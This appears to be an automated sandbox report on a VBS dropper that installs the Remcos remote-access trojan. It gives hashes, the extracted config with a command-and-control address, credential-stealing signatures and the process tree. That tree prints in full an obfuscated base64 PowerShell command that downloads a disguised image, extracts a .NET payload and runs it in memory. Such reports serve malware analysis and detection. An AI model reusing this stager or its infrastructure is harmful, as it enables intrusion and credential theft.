Analysis
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max time kernel
149s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 07:33
Static task
static1
Behavioral task
behavioral1
Sample
nicebabygirlformehavve.tIF.vbs
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
nicebabygirlformehavve.tIF.vbs
Resource
win10v2004-20241007-en
General
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Target
nicebabygirlformehavve.tIF.vbs
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Size
229KB
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MD5
743038855d008d967e70de63d3b6067b
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SHA1
5fe5dfe00823ea779c43a05cf4eca254bc6b448f
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SHA256
580efebb5dd99c6da0404819e716cf3af6b09bdbb7ea6782fa88a9961e3f4345
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SHA512
6045292c9df58756092971d7766831df5d84ef27c08c5e2966c506aa8b85707d98289203c8a10717272f7709f197f1ae518a1724abd42ac74fba510db42a211a
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SSDEEP
3072:NcgVmI3b0mgfmWu+5e9VOv5iG5sVhQ30Wk+70wgA11:NcgV0e9VOvp
Malware Config
Extracted
remcos
RemoteHost
172.245.123.12:8690
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-ET2B3I
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/4488-39-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1520-44-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4428-38-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/4488-39-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/4428-38-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 2 IoCs
flow pid Process 9 4932 powershell.exe 13 4932 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts CasPol.exe -
pid Process 4932 powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4932 set thread context of 4940 4932 powershell.exe 87 PID 4940 set thread context of 4428 4940 CasPol.exe 93 PID 4940 set thread context of 4488 4940 CasPol.exe 95 PID 4940 set thread context of 1520 4940 CasPol.exe 97 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CasPol.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4932 powershell.exe 4932 powershell.exe 4428 CasPol.exe 4428 CasPol.exe 1520 CasPol.exe 1520 CasPol.exe 4428 CasPol.exe 4428 CasPol.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 4940 CasPol.exe 4940 CasPol.exe 4940 CasPol.exe 4940 CasPol.exe 4940 CasPol.exe 4940 CasPol.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4932 powershell.exe Token: SeDebugPrivilege 1520 CasPol.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4940 CasPol.exe -
Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 2808 wrote to memory of 4932 2808 WScript.exe 85 PID 2808 wrote to memory of 4932 2808 WScript.exe 85 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4932 wrote to memory of 4940 4932 powershell.exe 87 PID 4940 wrote to memory of 2308 4940 CasPol.exe 92 PID 4940 wrote to memory of 2308 4940 CasPol.exe 92 PID 4940 wrote to memory of 2308 4940 CasPol.exe 92 PID 4940 wrote to memory of 4428 4940 CasPol.exe 93 PID 4940 wrote to memory of 4428 4940 CasPol.exe 93 PID 4940 wrote to memory of 4428 4940 CasPol.exe 93 PID 4940 wrote to memory of 4428 4940 CasPol.exe 93 PID 4940 wrote to memory of 2940 4940 CasPol.exe 94 PID 4940 wrote to memory of 2940 4940 CasPol.exe 94 PID 4940 wrote to memory of 2940 4940 CasPol.exe 94 PID 4940 wrote to memory of 4488 4940 CasPol.exe 95 PID 4940 wrote to memory of 4488 4940 CasPol.exe 95 PID 4940 wrote to memory of 4488 4940 CasPol.exe 95 PID 4940 wrote to memory of 4488 4940 CasPol.exe 95 PID 4940 wrote to memory of 3056 4940 CasPol.exe 96 PID 4940 wrote to memory of 3056 4940 CasPol.exe 96 PID 4940 wrote to memory of 3056 4940 CasPol.exe 96 PID 4940 wrote to memory of 1520 4940 CasPol.exe 97 PID 4940 wrote to memory of 1520 4940 CasPol.exe 97 PID 4940 wrote to memory of 1520 4940 CasPol.exe 97 PID 4940 wrote to memory of 1520 4940 CasPol.exe 97
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nicebabygirlformehavve.tIF.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AdQBwAGwAbwBhAGQAZABlAGkAbQBhAGcAZQBuAHMALgBjAG8AbQAuAGIAcgAvAGkAbQBhAGcAZQBzAC8AMAAwADQALwA4ADgAMwAvADQAMgAzAC8AbwByAGkAZwBpAG4AYQBsAC8AbgBlAHcAXwBpAG0AYQBnAGUALgBqAHAAZwA/ADEANwAzADcAMQAyADQAOQA4ADAAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AZABlAG4AZQBwAHAAYQBoAHMAZwBuAGkAaAB0AGUAcgBvAG0AaAB0AGkAdwBlAGcAYQByAGUAdgBvAGMAZQByAG8AbQAvADYANgA3AC8AMgAzADEALgA4ADcAMQAuADYANAAuADgAOQAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\oqysbxhaxb"4⤵PID:2308
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\oqysbxhaxb"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4428
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkdccpsutjspl"4⤵PID:2940
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\zkdccpsutjspl"4⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4488
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmivdhdvgrkcotqp"4⤵PID:3056
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jmivdhdvgrkcotqp"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
144B
MD5d6e89c6fcfcd858d9bab8d7ff3fdc7f9
SHA135f328d389ed6bb2a1ac73bd2de0e77e34ad1ed1
SHA2561548e9845ac1d7f53b5d6122a529868ea3b3975660edd8c5cabd0c0d2019f39b
SHA512c124ade3ad7ba2df57d9c1af0c79deecca82dd85a18c4c254acc9df8bf95696ce0f961deb545ee3e170a5be1f1ed9b8e627071faaa029b77d5ce57956f5bc192
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5562a58578d6d04c7fb6bda581c57c03c
SHA112ab2b88624d01da0c5f5d1441aa21cbc276c5f5
SHA256ff5c70287ba432a83f9015209d6e933462edca01d68c53c09882e1e4d22241c8
SHA5123f6e19faa0196bd4c085defa587e664abdd63c25ef30df8f4323e60a5a5aca3cd2709466f772e64ab00fe331d4264841422d6057451947f3500e9252a132254e